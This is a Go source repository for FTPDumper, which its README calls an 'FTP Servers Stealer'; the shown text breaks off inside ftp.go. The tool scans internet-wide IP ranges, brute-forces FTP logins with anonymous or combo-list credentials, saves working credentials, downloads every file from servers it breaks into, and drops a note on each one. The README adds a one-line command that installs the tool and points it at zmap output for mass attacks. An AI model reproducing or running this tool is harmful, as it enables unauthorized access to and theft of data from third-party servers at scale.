├── .github └── workflows │ └── release.yml ├── .gitignore ├── CIDRManager ├── BinaryFilter.go └── Manager.go ├── Core ├── core.go ├── reader.go └── workerpool.go ├── Dumper └── dumper.go ├── LICENSE ├── README.md ├── Utility ├── Counter.go ├── io.go └── utility.go ├── ftp └── ftp.go ├── go.mod ├── go.sum └── main.go /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: Build and Release 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | 8 | jobs: 9 | release: 10 | name: Create Release 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - name: Checkout repository 15 | uses: actions/checkout@v4 16 | 17 | - uses: actions/setup-go@v5 18 | with: 19 | go-version: '1.22.2' 20 | check-latest: true 21 | 22 | - name: Build 23 | run: go build -o FTPDumper . 24 | 25 | - name: Compress binary file 26 | uses: crazy-max/ghaction-upx@v3 27 | with: 28 | files: FTPDumper 29 | args: --ultra-brute --best -q 30 | 31 | - name: Auto Increment Semver Action 32 | uses: MCKanpolat/auto-semver-action@v1 33 | id: versioning 34 | with: 35 | releaseType: patch 36 | incrementPerCommit: true 37 | github_token: ${{ secrets.GITHUB_TOKEN }} 38 | 39 | - name: Next Release Number 40 | run: echo ${{ steps.versioning.outputs.version }} 41 | 42 | - name: Upload binary file 43 | uses: softprops/action-gh-release@v2 44 | 45 | env: 46 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 47 | GITHUB_REPOSITORY: MatrixTM/FTPDumper 48 | 49 | with: 50 | files: FTPDumper 51 | tag_name: release-${{ steps.versioning.outputs.version }} 52 | name: Release ${{ steps.versioning.outputs.version }} 53 | repository: MatrixTM/FTPDumper 54 | body: | 55 | ## Release ${{ steps.versioning.outputs.version }} 💭 56 | 57 | ${{ github.event.head_commit.message }} 58 | 59 | [Download 📥](https://github.com/MatrixTM/FTPDumper/releases/download/release-${{ steps.versioning.outputs.version }}/FTPDumper) 60 | 61 | 62 | permissions: 63 | contents: write 64 | packages: write -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | FTPDumper 2 | .idea 3 | *.txt 4 | *.exe -------------------------------------------------------------------------------- /CIDRManager/BinaryFilter.go: -------------------------------------------------------------------------------- 1 | package CIDRManager 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "net" 7 | "sync" 8 | ) 9 | 10 | type BSet struct { 11 | set map[[4]byte]struct{} 12 | mutex sync.RWMutex 13 | } 14 | 15 | func NewBSet() *BSet { 16 | return &BSet{ 17 | set: make(map[[4]byte]struct{}), 18 | mutex: sync.RWMutex{}, 19 | } 20 | } 21 | 22 | func (h *BSet) Add(item string) { 23 | h.mutex.Lock() 24 | defer h.mutex.Unlock() 25 | 26 | compressed := compressIPv4(item) 27 | 28 | h.set[[4]byte(compressed)] = struct{}{} 29 | } 30 | 31 | func (h *BSet) Contains(item string) bool { 32 | h.mutex.RLock() 33 | defer h.mutex.RUnlock() 34 | 35 | compressed := compressIPv4(item) 36 | 37 | _, exists := h.set[[4]byte(compressed)] 38 | return exists 39 | } 40 | 41 | func (h *BSet) Count() int { 42 | h.mutex.RLock() 43 | defer h.mutex.RUnlock() 44 | 45 | return len(h.set) 46 | } 47 | 48 | func compressIPv4(ip string) []byte { 49 | var compressed bytes.Buffer 50 | 51 | binary.Write(&compressed, binary.BigEndian, net.ParseIP(ip).To4()) 52 | 53 | return compressed.Bytes() 54 | } 55 | -------------------------------------------------------------------------------- /CIDRManager/Manager.go: -------------------------------------------------------------------------------- 1 | package CIDRManager 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "math/rand" 7 | "net" 8 | "sync" 9 | ) 10 | 11 | var ( 12 | EOCIDR = errors.New("EOCIDR (End of CIDR)") 13 | ) 14 | 15 | type CIDRManager struct { 16 | CIDR string 17 | Ipv4Min uint32 18 | Ipv4Max uint32 19 | Size int 20 | Filter *BSet 21 | Mutex sync.Mutex 22 | } 23 | 24 | func NewCIDR(CIDR string) *CIDRManager { 25 | _, ipNet, _ := net.ParseCIDR(CIDR) 26 | Size := CountIPsInCIDR(ipNet) 27 | 28 | IPv4Min := binary.BigEndian.Uint32(ipNet.IP.To4()) 29 | IPv4Max := IPv4Min | ^binary.BigEndian.Uint32(net.IP(ipNet.Mask).To4()) 30 | 31 | return &CIDRManager{ 32 | CIDR: CIDR, 33 | Ipv4Min: IPv4Min, 34 | Ipv4Max: IPv4Max, 35 | Size: Size, 36 | Filter: NewBSet(), 37 | Mutex: sync.Mutex{}, 38 | } 39 | } 40 | 41 | func (c *CIDRManager) IsUsed(ip uint32) bool { 42 | c.Mutex.Lock() 43 | defer c.Mutex.Unlock() 44 | 45 | return c.Filter.Contains(c.Uint32ToIP(ip)) 46 | } 47 | 48 | func (c *CIDRManager) SetUsed(ip uint32) { 49 | c.Mutex.Lock() 50 | defer c.Mutex.Unlock() 51 | 52 | c.Filter.Add(c.Uint32ToIP(ip)) 53 | } 54 | 55 | func (c *CIDRManager) GetRandomIP() (string, error) { 56 | if c.Filter.Count() == c.Size { 57 | return "", EOCIDR 58 | } 59 | 60 | for { 61 | // Generate a random number within the range of the CIDR size 62 | randomIndex := rand.Intn(c.Size) 63 | ip := c.Ipv4Min + uint32(randomIndex) 64 | 65 | ipParsed := c.Uint32ToIP(ip) 66 | if !c.IsUsed(ip) { 67 | c.SetUsed(ip) 68 | return ipParsed, nil 69 | } 70 | } 71 | } 72 | 73 | func (c *CIDRManager) Uint32ToIP(ip uint32) string { 74 | return net.IPv4(byte(ip>>24), byte(ip>>16), byte(ip>>8), byte(ip)).String() 75 | } 76 | 77 | func (c *CIDRManager) IPToUInt32(ip string) uint32 { 78 | ipAddr := net.ParseIP(ip) 79 | if ipAddr == nil { 80 | return 0 81 | } 82 | return binary.BigEndian.Uint32(ipAddr.To4()) 83 | } 84 | 85 | func CountIPsInCIDR(ipNet *net.IPNet) int { 86 | maskSize, _ := ipNet.Mask.Size() 87 | if maskSize == 0 { 88 | return 1 << 32 // 2^32 = 4,294,967,296 89 | } 90 | 91 | return 1 << (32 - maskSize) 92 | } 93 | -------------------------------------------------------------------------------- /Core/core.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "FTPDumper/Utility" 5 | "errors" 6 | "fmt" 7 | "github.com/integrii/flaggy" 8 | "os" 9 | "strings" 10 | "time" 11 | "unicode" 12 | ) 13 | 14 | var ( 15 | Scanner = "stdin" 16 | Users []string 17 | Passwords []string 18 | Ports []string 19 | FileFormats []string 20 | Limit = 10 21 | SaveCredentials = false 22 | Verbose = false 23 | Timeout = time.Second * 5 24 | CredFile *Utility.MutexWriter 25 | OutputFolder = "files" 26 | Type EscannerType 27 | Counter = Utility.NewCounter() 28 | ) 29 | 30 | var ( 31 | TimeoutErr = errors.New("timeout Error") 32 | BadCredErr = errors.New("bad Credentials") 33 | ) 34 | 35 | func init() { 36 | Counter.Born("Total") 37 | Counter.Born("BadCred") 38 | Counter.Born("Success") 39 | Counter.Born("Stolen") 40 | 41 | flaggy.SetName("FTPDumper") 42 | flaggy.SetDescription("Scan World FTP Servers and Steal Their Data") 43 | flaggy.SetVersion("0.0.1") 44 | 45 | flaggy.String(&Scanner, "scan", "scanner", "Ip/CIDR scanner (stdin|filename|cidr|ip)") 46 | 47 | comboFile := "" 48 | flaggy.String(&comboFile, "c", "combo", "Combo File (user:password)") 49 | 50 | ports := "" 51 | flaggy.String(&ports, "p", "ports", "Ports Split by , (Default Port: 21)") 52 | 53 | flaggy.String(&OutputFolder, "o", "output", "Output Folder") 54 | 55 | fileFormats := "" 56 | flaggy.String(&fileFormats, "f", "formats", "File Formats Split by , (Default Format: all)") 57 | 58 | flaggy.Int(&Limit, "l", "limit", "Task limit") 59 | 60 | flaggy.Duration(&Timeout, "t", "timeout", "Timeout in seconds") 61 | 62 | flaggy.Bool(&SaveCredentials, "s", "save", "Save Credentials in hit.txt") 63 | flaggy.Bool(&Verbose, "v", "verbose", "Verbose Mode") 64 | 65 | flaggy.Parse() 66 | 67 | switch Scanner { 68 | case "stdin": 69 | if !Utility.IsInPipeline() { 70 | fmt.Println("Please pipe input to the program, or use -s file/cidr") 71 | os.Exit(1) 72 | } 73 | Type = ESTDIN 74 | 75 | default: 76 | if Utility.IsCIDRv4(Scanner) { 77 | Type = ECIDR 78 | } else if Utility.IsIPv4(Scanner) { 79 | Type = EIP 80 | } else if Utility.FileExists(Scanner) { 81 | Type = EFILE 82 | } else { 83 | fmt.Println("Invalid Input, possible inputs: stdin, filename, cidr, ip") 84 | os.Exit(1) 85 | } 86 | } 87 | 88 | if Utility.FileExists(comboFile) { 89 | combos, err := Utility.ReadFileLines(comboFile) 90 | if err != nil { 91 | fmt.Println(err) 92 | os.Exit(1) 93 | } 94 | 95 | if len(combos) < 1 { 96 | fmt.Println("Combo file is empty") 97 | os.Exit(1) 98 | } 99 | 100 | for _, combo := range combos { 101 | userPass := strings.Split(combo, ":") 102 | if len(userPass) == 2 { 103 | Users = append(Users, userPass[0]) 104 | Passwords = append(Passwords, userPass[1]) 105 | } 106 | } 107 | } else { 108 | Users = []string{"anonymous"} 109 | Passwords = []string{"anonymous"} 110 | } 111 | 112 | if len(Users) < 1 || len(Passwords) < 1 { 113 | fmt.Println("Combo file Does not contain any credential with user:password format") 114 | os.Exit(1) 115 | } 116 | 117 | if ports != "" { 118 | portsSplited := strings.Split(ports, ",") 119 | for _, port := range portsSplited { 120 | for _, r := range port { 121 | if !unicode.IsDigit(r) { 122 | fmt.Printf("Invalid Port on -p Argument, Port: \"%s\"", port) 123 | os.Exit(1) 124 | } 125 | } 126 | Ports = append(Ports, port) 127 | } 128 | } else { 129 | Ports = []string{"21"} 130 | } 131 | 132 | if fileFormats != "" { 133 | fileFormatsSplited := strings.Split(fileFormats, ",") 134 | FileFormats = fileFormatsSplited 135 | } 136 | 137 | if !Utility.FolderExists(OutputFolder) { 138 | err := Utility.CreateFolder(OutputFolder) 139 | if err != nil { 140 | fmt.Printf("Failed to create output folder: %s\n", err) 141 | os.Exit(1) 142 | } 143 | } 144 | 145 | if SaveCredentials { 146 | if !Utility.FileExists("hit.txt") { 147 | err := Utility.CreateFile("hit.txt") 148 | if err != nil { 149 | fmt.Printf("Failed to create hit.txt: %s\n", err) 150 | os.Exit(1) 151 | } 152 | } 153 | 154 | file, err := os.OpenFile("hit.txt", os.O_APPEND|os.O_WRONLY, 0600) 155 | if err != nil { 156 | fmt.Printf("Failed to open hit.txt: %s\n", err) 157 | os.Exit(1) 158 | } 159 | 160 | CredFile = Utility.NewMutexWriter(file) 161 | } 162 | } 163 | -------------------------------------------------------------------------------- /Core/reader.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "FTPDumper/CIDRManager" 5 | "FTPDumper/Utility" 6 | "bufio" 7 | "errors" 8 | "io" 9 | "math/rand" 10 | "os" 11 | "regexp" 12 | "strings" 13 | "sync" 14 | ) 15 | 16 | type EscannerType string 17 | 18 | var ( 19 | ESTDIN EscannerType = "stdin" 20 | EFILE EscannerType = "file" 21 | ECIDR EscannerType = "cidr" 22 | EIP EscannerType = "ip" 23 | ) 24 | 25 | type IReader interface { 26 | Next() (string, error) 27 | Close() 28 | } 29 | 30 | type StdinReader struct { 31 | scanner *bufio.Scanner 32 | } 33 | 34 | type CIDRReader struct { 35 | sync.Mutex 36 | Cidrs []*CIDRManager.CIDRManager 37 | CidrsLen int 38 | } 39 | 40 | func NewReader(scanner string, method EscannerType) IReader { 41 | switch method { 42 | case ESTDIN: 43 | return &StdinReader{scanner: bufio.NewScanner(os.Stdin)} 44 | case EFILE: 45 | file, _ := os.Open(scanner) 46 | return NewFileReader(bufio.NewReader(file)) 47 | case ECIDR: 48 | reader := &CIDRReader{ 49 | Cidrs: make([]*CIDRManager.CIDRManager, 0), 50 | } 51 | cidrRegex := regexp.MustCompile(`\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}/\d{1,2}\b`) 52 | cidrs := cidrRegex.FindAllString(scanner, -1) 53 | for _, cidr := range cidrs { 54 | reader.Cidrs = append(reader.Cidrs, CIDRManager.NewCIDR(cidr)) 55 | } 56 | reader.CidrsLen = len(reader.Cidrs) 57 | return reader 58 | case EIP: 59 | return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner + "\n"))} 60 | } 61 | 62 | return nil 63 | } 64 | 65 | func NewFileReader(reader *bufio.Reader) *CIDRReader { 66 | cidrs := make([]*CIDRManager.CIDRManager, 0) 67 | for { 68 | line, err := reader.ReadString('\n') 69 | if err != nil { 70 | if err == io.EOF { 71 | break 72 | } 73 | return nil 74 | } 75 | 76 | line = strings.TrimSpace(line) 77 | 78 | if !Utility.IsCIDRv4(line) { 79 | continue 80 | } 81 | 82 | cidrs = append(cidrs, CIDRManager.NewCIDR(line)) 83 | } 84 | 85 | return &CIDRReader{Cidrs: cidrs, CidrsLen: len(cidrs)} 86 | } 87 | 88 | func (r *StdinReader) Next() (string, error) { 89 | if r.scanner.Scan() { 90 | return r.scanner.Text(), nil 91 | } 92 | if err := r.scanner.Err(); err != nil { 93 | return "", err 94 | } 95 | return "", io.EOF 96 | } 97 | 98 | func (r *StdinReader) Close() { 99 | r.scanner = nil 100 | } 101 | 102 | func (c *CIDRReader) Next() (string, error) { 103 | c.Lock() 104 | defer c.Unlock() 105 | numb := rand.Intn(c.CidrsLen) 106 | cidr := c.Cidrs[numb] 107 | ip, err := cidr.GetRandomIP() 108 | if errors.Is(err, CIDRManager.EOCIDR) { 109 | c.Cidrs = append(c.Cidrs[:numb], c.Cidrs[numb+1:]...) 110 | c.CidrsLen-- 111 | return c.Next() 112 | } 113 | return ip, err 114 | } 115 | 116 | func (c *CIDRReader) Close() { 117 | c.Cidrs = nil 118 | c.CidrsLen = 0 119 | } 120 | -------------------------------------------------------------------------------- /Core/workerpool.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "context" 5 | "sync" 6 | "time" 7 | ) 8 | 9 | // Task represents a unit of work to be executed by the worker pool. 10 | type Task func() 11 | 12 | // WorkerPool is a struct that manages a pool of worker goroutines. 13 | type WorkerPool struct { 14 | maxWorkers int 15 | taskQueue chan Task 16 | wg sync.WaitGroup 17 | } 18 | 19 | // New creates a new WorkerPool with the specified maximum number of workers. 20 | func New(maxWorkers int) *WorkerPool { 21 | return &WorkerPool{ 22 | maxWorkers: maxWorkers, 23 | taskQueue: make(chan Task), 24 | } 25 | } 26 | 27 | // Start initializes the worker pool and starts the worker goroutines. 28 | func (wp *WorkerPool) Start() { 29 | for i := 0; i < wp.maxWorkers; i++ { 30 | wp.wg.Add(1) 31 | go func() { 32 | defer wp.wg.Done() 33 | for task := range wp.taskQueue { 34 | task() 35 | } 36 | }() 37 | } 38 | } 39 | 40 | // Stop gracefully shuts down the worker pool. 41 | func (wp *WorkerPool) Stop() { 42 | close(wp.taskQueue) 43 | wp.wg.Wait() 44 | } 45 | 46 | // Submit adds a new task to the worker pool's task queue. 47 | func (wp *WorkerPool) Submit(task Task) { 48 | wp.taskQueue <- task 49 | } 50 | 51 | // IsFull returns true if the worker pool's task queue is full. 52 | func (wp *WorkerPool) IsFull() bool { 53 | return len(wp.taskQueue) >= cap(wp.taskQueue) 54 | } 55 | 56 | // SubmitWithTimeout adds a new task to the worker pool's task queue with a timeout. 57 | // If the task is not completed within the specified timeout duration, it is canceled. 58 | func (wp *WorkerPool) SubmitWithTimeout(task Task, timeout time.Duration) error { 59 | ctx, cancel := context.WithTimeout(context.Background(), timeout) 60 | defer cancel() 61 | 62 | done := make(chan struct{}) 63 | 64 | wp.taskQueue <- func() { 65 | defer close(done) 66 | task() 67 | } 68 | 69 | select { 70 | case <-done: 71 | return nil 72 | case <-ctx.Done(): 73 | return ctx.Err() 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /Dumper/dumper.go: -------------------------------------------------------------------------------- 1 | package Dumper 2 | 3 | import ( 4 | "FTPDumper/Core" 5 | "FTPDumper/Utility" 6 | "FTPDumper/ftp" 7 | "bytes" 8 | "crypto/sha256" 9 | "encoding/hex" 10 | "fmt" 11 | "os" 12 | ) 13 | 14 | func Try(address, port, user, password string) error { 15 | Core.Counter.Increment("Total") 16 | client := ftp.NewFTPClient(user, password) 17 | err := client.Connect(fmt.Sprintf("%s:%s", address, port)) 18 | if err != nil { 19 | return Core.TimeoutErr 20 | } 21 | 22 | defer client.Disconnect() 23 | 24 | err = client.Login() 25 | if err != nil { 26 | return Core.BadCredErr 27 | } 28 | 29 | Core.Counter.Increment("Success") 30 | if Core.Verbose { 31 | fmt.Printf("\033[32m[SUCCESS] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) 32 | } 33 | 34 | if Core.SaveCredentials { 35 | _, _ = Core.CredFile.Write([]byte(fmt.Sprintf("%s:%s@%s:%s\n", address, port, user, password))) 36 | } 37 | 38 | files, err := client.GetFiles() 39 | if err != nil { 40 | if Core.Verbose { 41 | fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) 42 | } 43 | return err 44 | } 45 | 46 | sprintf := fmt.Sprintf("%s/%s", Core.OutputFolder, address) 47 | 48 | for _, file := range files { 49 | if len(Core.FileFormats) > 0 && !Utility.SuffixAny(file.Name, Core.FileFormats) { 50 | continue 51 | } 52 | 53 | Core.Counter.Increment("Stolen") 54 | 55 | hash := sha256.Sum256([]byte(file.Name)) 56 | hexed := hex.EncodeToString(hash[:]) 57 | tempPath := fmt.Sprintf("%s/%s.ftpdumper", os.TempDir(), hexed) 58 | 59 | err = client.DownloadFile(tempPath, file.Name) 60 | if err != nil { 61 | if Core.Verbose { 62 | fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) 63 | } 64 | continue 65 | } 66 | 67 | if stat, err := os.Stat(tempPath); err != nil || stat.Size() < 1 { 68 | _ = os.Remove(tempPath) 69 | continue 70 | } 71 | 72 | if !Utility.FolderExists(sprintf) { 73 | err = Utility.CreateFolder(sprintf) 74 | if err != nil { 75 | continue 76 | } 77 | } 78 | 79 | err := os.Rename(tempPath, fmt.Sprintf("%s/%s/%s", Core.OutputFolder, address, file.Name)) 80 | if err != nil { 81 | return err 82 | } 83 | } 84 | 85 | _ = client.UploadFile("FTPDUMPER.txt", bytes.NewReader([]byte("Fix your server credentials\n"+ 86 | "You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n"))) 87 | 88 | return nil 89 | } 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Matrix Team 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

logo

2 |

FTPDumper - An FTP Servers Stealer

3 | 4 | 5 |

6 | FTPDumper forks 7 | GitHub Repo stars 8 |
9 | 10 |

11 | View 12 |

13 | 14 | ___ 15 | 16 |

features

17 | 18 | ## 📖 What is FTPDumper ? 19 | 20 | FTPDumper is an easy-to-use yet advanced FTP server file stealer. 21 | It can be utilized in massive FTP brute-force attacks, supporting various formats such as combo, pipe input, CIDR, files, and even a single IP address. 22 | 23 | FTPDumper boasts a plethora of features, including: 24 | - 💡 **Anti-Fake File Detection**: Utilizes advanced algorithms to detect and prevent the extraction of counterfeit files. 25 | - 🔍 **Self-Implemented Scanner**: Employs an internally developed scanning mechanism to ensure thoroughness and efficiency. 26 | - 🖥️ **Modern and Sleek User Interface**: Offers a visually appealing and user-friendly interface for seamless navigation and operation. 27 | - ⚡ **Fast and Memory-Safe Operation**: Executes operations swiftly while maintaining optimal memory usage to prevent system slowdowns or crashes. 28 | - 🤝 **Smart Connection and Timeout Management**: Implements intelligent connection strategies and timeout configurations to maximize accuracy and resource utilization. 29 | 30 | ###### Use it at your own RISK! 31 | 32 | 33 | ## 🔍 Overview 34 | 35 | - 🚀 [Quickstart](#-quickstart) 36 | - ⚙️ [Arguments](#%EF%B8%8F-arguments) 37 | - 👨‍💻 [Best Way to get a server](#-best-way-to-get-a-server) 38 | 39 | # 🚀 Quickstart 40 | 41 | --- 42 | 43 | #### One-Line Install And Running on Fresh VPS 44 | ```bash 45 | apt update && apt install -y zmap && wget -q $(curl -s https://api.github.com/repos/MatrixTM/FTPDumper/releases/latest | grep browser_download_url | grep "FTPDumper" | cut -d '"' -f 4) && chmod +x FTPDumper && zmap -p 21 -B 50MB -q | ./FTPDumper -l 5000 46 | ``` 47 | 48 |
49 | 🔧 Manual Installation 50 |

1. Download FTPDumper

51 |

Download FTPDumper from Releases

52 | 53 |

2. Set Up Permission

54 | 55 | Set up permission to FTPDumper binary file. 56 | ```bash 57 | chmod +x FTPDumper 58 | ``` 59 | 60 |

3. Run FTPDumper

61 | 62 | You have a few ways to use FTPDumper. 63 | 64 | - Zmap 65 | - Download Zmap 66 | ```bash 67 | sudo apt install zmap 68 | ``` 69 | - Run FTPDumper (Zmap) 70 | ```bash 71 | zmap -p 21 -q | ./FTPDumper -l 500 -save 72 | ``` 73 | - Run FTPDumper (DevWay) 74 | ```bash 75 | ./FTPDumper -l 500 -save -s 0.0.0.0/0 76 | ``` 77 | Check out [Arguments](#-arguments) to see more 78 |
79 | 80 | --- 81 | 82 | # ⚙️ Arguments 83 | 84 | ```bash 85 | MatrixTM@FTPDumper: ./FTPDumper --help 86 | FTPDumper - Scan World FTP Servers and Steal Their Data 87 | 88 | Flags: 89 | --version Displays the program version string. 90 | -h --help Displays help with available flag, subcommand, and positional value parameters. 91 | -scan --scanner Ip/CIDR scanner (stdin|filename|cidr|ip) (default: stdin) 92 | -c --combo Combo File (user:password) 93 | -p --ports Ports Split by , (Default Port: 21) 94 | -o --output Output Folder (default: files) 95 | -f --formats File Formats Split by , (Default Format: all) 96 | -l --limit Task limit (default: 10) 97 | -t --timeout Timeout in seconds (default: 5s) 98 | -s --save Save Credentials in hit.txt 99 | -v --verbose Verbose Mode 100 | ``` 101 | 102 | | Argument | Description | Default Value | 103 | |------------------|---------------------------------------------------------------------------------|:-------------:| 104 | | --version | Displays the program version string. | None | 105 | | -h, --help | Displays help with available flag, subcommand, and positional value parameters. | None | 106 | | -scan, --scanner | IP/CIDR scanner [stdin\|filename\|cidr\|ip] stdin | stdin | 107 | | -c, --combo | Combo File (user:password) | anonymous | 108 | | -p, --ports | Ports Split by , | 21 | 109 | | -o, --output | Output Folder files | files | 110 | | -f, --formats | File Formats Split by , | all | 111 | | -l, --limit | Task limit | 10 | 112 | | -t, --timeout | Timeout in seconds | 5s | 113 | | -s, --save | Save Credentials in hit.txt | False | 114 | | -v, --verbose | Verbose Mode | False | 115 | --- 116 | 117 | # 👨‍💻 Best Way to get a server 118 | 119 | aeza 120 | ##### For this subject, the best hosting I found is [Aeza](https://aeza.net/?ref=375036 "Aeza Hosting") 121 | ##### You Can buy hourly 10Gbps & Ryzen 9 Servers with a cheap price 122 | 123 | [//]: # () 124 | [//]: # () 125 | [//]: # (## Star history) 126 | 127 | [//]: # () 128 | [//]: # (---) 129 | 130 | [//]: # () 131 | 132 | [//]: # ( ) 143 | 144 | [//]: # ( ) 155 | 156 | [//]: # ( ) 163 | 164 | [//]: # () 165 | -------------------------------------------------------------------------------- /Utility/Counter.go: -------------------------------------------------------------------------------- 1 | package Utility 2 | 3 | import "sync/atomic" 4 | 5 | type Counter struct { 6 | Counters map[string]*atomic.Int64 7 | } 8 | 9 | type ICounter interface { 10 | Born(key string) 11 | Increment(key string) 12 | Get(key string) int64 13 | Add(key string, value int64) 14 | } 15 | 16 | func NewCounter() ICounter { 17 | return &Counter{ 18 | Counters: make(map[string]*atomic.Int64), 19 | } 20 | } 21 | 22 | func (c *Counter) Born(key string) { 23 | c.Counters[key] = new(atomic.Int64) 24 | } 25 | 26 | func (c *Counter) Increment(key string) { 27 | c.Counters[key].Add(1) 28 | } 29 | 30 | func (c *Counter) Add(key string, value int64) { 31 | c.Counters[key].Add(value) 32 | } 33 | 34 | func (c *Counter) Get(key string) int64 { 35 | return c.Counters[key].Load() 36 | } 37 | -------------------------------------------------------------------------------- /Utility/io.go: -------------------------------------------------------------------------------- 1 | package Utility 2 | 3 | import ( 4 | "bufio" 5 | "io" 6 | "os" 7 | "strings" 8 | "sync" 9 | ) 10 | 11 | func ReadFileLines(filename string) ([]string, error) { 12 | file, err := os.Open(filename) 13 | if err != nil { 14 | return nil, err 15 | } 16 | defer file.Close() 17 | 18 | var lines []string 19 | scanner := bufio.NewScanner(file) 20 | for scanner.Scan() { 21 | lines = append(lines, strings.TrimSpace(scanner.Text())) 22 | } 23 | 24 | return lines, scanner.Err() 25 | } 26 | 27 | func FileExists(filename string) bool { 28 | info, err := os.Stat(filename) 29 | if os.IsNotExist(err) { 30 | return false 31 | } 32 | return !info.IsDir() 33 | } 34 | 35 | func CreateFile(filename string) error { 36 | file, err := os.Create(filename) 37 | if err != nil { 38 | return err 39 | } 40 | defer file.Close() 41 | return nil 42 | } 43 | 44 | func FolderExists(folder string) bool { 45 | info, err := os.Stat(folder) 46 | if os.IsNotExist(err) { 47 | return false 48 | } 49 | return info.IsDir() 50 | } 51 | 52 | func CreateFolder(folder string) error { 53 | err := os.MkdirAll(folder, 0755) 54 | if err != nil { 55 | return err 56 | } 57 | return nil 58 | } 59 | 60 | type MutexWriter struct { 61 | *sync.RWMutex 62 | writer io.Writer 63 | } 64 | 65 | func NewMutexWriter(writer io.Writer) *MutexWriter { 66 | return &MutexWriter{ 67 | RWMutex: new(sync.RWMutex), 68 | writer: writer, 69 | } 70 | } 71 | 72 | func (w *MutexWriter) Write(p []byte) (n int, err error) { 73 | w.RWMutex.Lock() 74 | defer w.RWMutex.Unlock() 75 | return w.writer.Write(p) 76 | } 77 | 78 | func (w *MutexWriter) Close() { 79 | w.RWMutex.Lock() 80 | defer w.RWMutex.Unlock() 81 | w.writer = nil 82 | } 83 | 84 | func (w *MutexWriter) GetWriter() io.Writer { 85 | return w.writer 86 | } 87 | -------------------------------------------------------------------------------- /Utility/utility.go: -------------------------------------------------------------------------------- 1 | package Utility 2 | 3 | import ( 4 | "net" 5 | "os" 6 | "strings" 7 | ) 8 | 9 | func IsInPipeline() bool { 10 | fi, _ := os.Stdin.Stat() 11 | return (fi.Mode() & os.ModeCharDevice) == 0 12 | } 13 | 14 | func IsCIDRv4(s string) bool { 15 | c, _, err := net.ParseCIDR(s) 16 | return err == nil && c.To4() != nil 17 | } 18 | 19 | func IsIPv4(s string) bool { 20 | ip := net.ParseIP(s) 21 | return ip != nil && ip.To4() != nil 22 | } 23 | 24 | func SuffixAny(s string, suffixes []string) bool { 25 | for _, e := range suffixes { 26 | if strings.HasSuffix(s, e) { 27 | return true 28 | } 29 | } 30 | return false 31 | } 32 | -------------------------------------------------------------------------------- /ftp/ftp.go: -------------------------------------------------------------------------------- 1 | package ftp 2 | 3 | import ( 4 | "FTPDumper/Core" 5 | "github.com/jlaffaye/ftp" 6 | "io" 7 | "os" 8 | ) 9 | 10 | type Client interface { 11 | Connect(address string) error 12 | Login() error 13 | Disconnect() error 14 | GetFiles() ([]File, error) 15 | DownloadFile(output, filePath string) error 16 | UploadFile(fileName string, reader io.Reader) error 17 | } 18 | 19 | type FTP struct { 20 | conn *ftp.ServerConn 21 | Username string 22 | Password string 23 | } 24 | 25 | type File struct { 26 | Name string 27 | Size int64 28 | } 29 | 30 | func NewFTPClient(username, password string) Client { 31 | f := &FTP{ 32 | Username: username, 33 | Password: password, 34 | } 35 | 36 | return f 37 | } 38 | 39 | // Connect establishes a connection to the FTP server at the specified address. 40 | // 41 | // It takes the server address as a parameter and returns an error. 42 | func (f *FTP) Connect(address string) error { 43 | conn, err := ftp.Dial(address, ftp.DialWithTimeout(Core.Timeout)) // make timeout in args 44 | if err != nil { 45 | return err 46 | } 47 | 48 | f.conn = conn 49 | 50 | return nil 51 | } 52 | 53 | // Login logs the FTP client into the server. 54 | // It takes no parameters and returns an error. 55 | func (f *FTP) Login() error { 56 | err := f.conn.Login(f.Username, f.Password) 57 | if err != nil { 58 | return err 59 | } 60 | 61 | return nil 62 | } 63 | 64 | // Disconnect closes the FTP connection. 65 | // 66 | // No parameters. 67 | // Returns an error. 68 | func (f *FTP) Disconnect() error { 69 | return f.conn.Quit() 70 | } 71 | 72 | // GetFiles retrieves a list of files from the FTP server. 73 | // 74 | // No parameters. It returns a slice of File struct and an error. 75 | func (f *FTP) GetFiles() ([]File, error) { 76 | // List the files in the retrieved directory 77 | list, err := f.conn.List(".") 78 | if err != nil { 79 | return nil, err 80 | } 81 | 82 | // Create a slice of File structs to store the file information 83 | files := make([]File, len(list)) 84 | 85 | // Iterate through the list of files and retrieve file size 86 | for i, file := range list { 87 | fileSize, err := 